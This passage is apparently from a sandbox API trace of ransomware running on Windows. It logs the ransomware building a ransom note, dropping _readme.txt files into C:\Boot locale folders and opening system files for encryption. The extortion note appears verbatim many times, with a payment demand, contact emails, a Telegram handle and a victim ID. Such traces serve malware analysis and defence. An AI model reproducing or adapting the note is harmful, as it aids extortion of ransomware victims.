files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.736] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.736] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.736] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.736] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.736] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.736] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0116.736] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.736] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.736] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.736] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.736] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.736] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0116.737] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.737] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.737] PathFindFileNameW (pszPath="") returned="" [0116.737] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.737] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.737] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.737] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.737] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0116.737] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0116.737] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.737] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.737] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.738] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.738] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.738] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.738] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0116.738] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.738] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.738] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.738] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.738] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.738] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0116.738] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.738] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.738] PathFindFileNameW (pszPath="") returned="" [0116.738] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.739] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.739] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.739] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.739] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0116.739] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0116.739] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.739] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.739] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.739] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.740] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.740] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.740] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") 